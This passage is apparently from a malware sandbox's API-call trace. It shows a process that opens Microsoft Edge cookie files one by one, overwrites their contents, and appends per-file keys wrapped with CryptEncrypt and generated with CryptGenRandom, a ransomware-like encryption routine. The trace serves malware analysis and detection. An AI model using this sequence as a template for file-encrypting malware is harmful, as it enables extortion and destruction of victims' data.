(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\MRQZFTTG.cookie", dwFileAttributes=0x80) returned 1 [0193.130] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\MRQZFTTG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\mrqzfttg.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.131] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=363) returned 1 [0193.131] ReadFile (in: hFile=0x1ba8, lpBuffer=0x618a40, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x618a40*, lpNumberOfBytesRead=0x2e1f9bc*=0x16b, lpOverlapped=0x0) returned 1 [0193.132] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-363, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.132] WriteFile (in: hFile=0x1ba8, lpBuffer=0x6185d8*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6185d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16b, lpOverlapped=0x0) returned 1 [0193.132] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16b [0193.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.132] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60dda0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.133] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.133] CloseHandle (hObject=0x1ba8) returned 1 [0193.137] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60cd20 | out: pbBuffer=0x60cd20) returned 1 [0193.137] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.137] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\K95028HZ.cookie", dwFileAttributes=0x80) returned 1 [0193.137] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\K95028HZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\k95028hz.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.138] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=308) returned 1 [0193.138] ReadFile (in: hFile=0x1ba8, lpBuffer=0x563358, nNumberOfBytesToRead=0x134, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563358*, lpNumberOfBytesRead=0x2e1f9bc*=0x134, lpOverlapped=0x0) returned 1 [0193.139] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.139] WriteFile (in: hFile=0x1ba8, lpBuffer=0x563720*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563720*, lpNumberOfBytesWritten=0x2e1f9bc*=0x134, lpOverlapped=0x0) returned 1 [0193.139] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x134 [0193.139] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.139] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60cd20*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60cd20*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.139] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60cd20*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cd20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.139] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.140] CloseHandle (hObject=0x1ba8) returned 1 [0193.141] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e0b8 | out: pbBuffer=0x60e0b8) returned 1 [0193.141] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.141] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\container.dat", dwFileAttributes=0x80) returned 1 [0193.142] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.142] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.142] ReadFile (in: hFile=0x1ba8, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.142] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.143] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.143] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e0b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e0b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.143] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60e0b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e0b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.144] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.144] CloseHandle (hObject=0x1ba8) returned 1 [0193.146] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d248 | out: pbBuffer=0x60d248) returned 1 [0193.146] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.146] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\AFIOGFFU.txt", dwFileAttributes=0x80) returned 1 [0193.151] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\AFIOGFFU.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\afiogffu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.152] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=101) returned 1 [0193.152] ReadFile (in: hFile=0x1ba8, lpBuffer=0x56f118, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x65, lpOverlapped=0x0) returned 1 [0193.152] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.152] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x65, lpOverlapped=0x0) returned 1 [0193.153] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x65 [0193.153] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.153] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.153] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60d248*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d248*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.153] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.153] CloseHandle (hObject=0x1ba8) returned 1 [0193.154] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d248 | out: pbBuffer=0x60d248) returned 1 [0193.154] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.154] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\90T5B7AZ.cookie", dwFileAttributes=0x80) returned 1 [0193.155] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\90T5B7AZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\90t5b7az.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.155] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=374) returned 1 [0193.155] ReadFile (in: hFile=0x1ba8, lpBuffer=0x2f6c688, nNumberOfBytesToRead=0x176, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6c688*, lpNumberOfBytesRead=0x2e1f9bc*=0x176, lpOverlapped=0x0) returned 1 [0193.156] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.156] WriteFile (in: hFile=0x1ba8, lpBuffer=0x2f6c1f0*, nNumberOfBytesToWrite=0x176, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6c1f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x176, lpOverlapped=0x0) returned 1 [0193.156] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x176 [0193.156] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.156] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.157] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60d248*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d248*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.157] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.157] CloseHandle (hObject=0x1ba8) returned 1 [0193.158] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d770 | out: pbBuffer=0x60d770) returned 1 [0193.159] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0193.159] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5WBGHGR8.cookie", dwFileAttributes=0x80) returned 1 [0193.159] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5WBGHGR8.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\5wbghgr8.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.160] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=204) returned 1 [0193.160] ReadFile (in: hFile=0x1ba8, lpBuffer=0x2f6ad00, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6ad00*, lpNumberOfBytesRead=0x2e1f9bc*=0xcc, lpOverlapped=0x0) returned 1 [0193.161] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.161] WriteFile (in: hFile=0x1ba8, lpBuffer=0x2f6b2e8*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6b2e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xcc, lpOverlapped=0x0) returned 1 [0193.161] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xcc [0193.161] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.161] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.161] WriteFile (in: hFile=0x1ba8, lpBuffer=0x60d770*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d770*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.161] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.161] CloseHandle (hObject=0x1ba8) returned 1 [0193.163] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.163] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.163] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51HBQ3DH.cookie", dwFileAttributes=0x80) returned 1 [0193.164] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51HBQ3DH.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\51hbq3dh.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.164] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=133) returned 1 [0193.164] ReadFile (in: hFile=0x1ba8, lpBuffer=0x548180, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x548180*, lpNumberOfBytesRead=0x2e1f9bc*=0x85, lpOverlapped=0x0) returned 1 [0193.165] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.165] WriteFile (in: hFile=0x1ba8, lpBuffer=0x548a80*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x548a80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x85, lpOverlapped=0x0) returned 1 [0193.165] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x85 [0193.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.165] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.166] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.166] CloseHandle (hObject=0x1ba8) returned 1 [0193.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.169] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\1IOSUXS4.cookie", dwFileAttributes=0x80) returned 1 [0193.169] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\1IOSUXS4.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\1iosuxs4.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.169] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=455) returned 1 [0193.170] ReadFile (in: hFile=0x1ba8, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c7, lpOverlapped=0x0) returned 1 [0193.170] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=-455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.170] WriteFile (in: hFile=0x1ba8, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1c7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c7, lpOverlapped=0x0) returned 1 [0193.170] SetFilePointer (in: hFile=0x1ba8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c7 [0193.171] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.171] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.171] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.171] WriteFile (in: hFile=0x1ba8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.171] CloseHandle (hObject=0x1ba8) returned 1 [0193.173] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.173] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0193.173] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\0Z215X0U.cookie", dwFileAttributes=0x80) returned 1 [0193.174] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\0Z215X0U.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\0z215x0u.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba8 [0193.174] GetFileSizeEx (in: hFile=0x1ba8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=567) returned 1 [0193.174] ReadFile (in: hFile=0x1ba8, lpBuffer=0x52f438, nNumberOfBytesToRead=0x237, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, 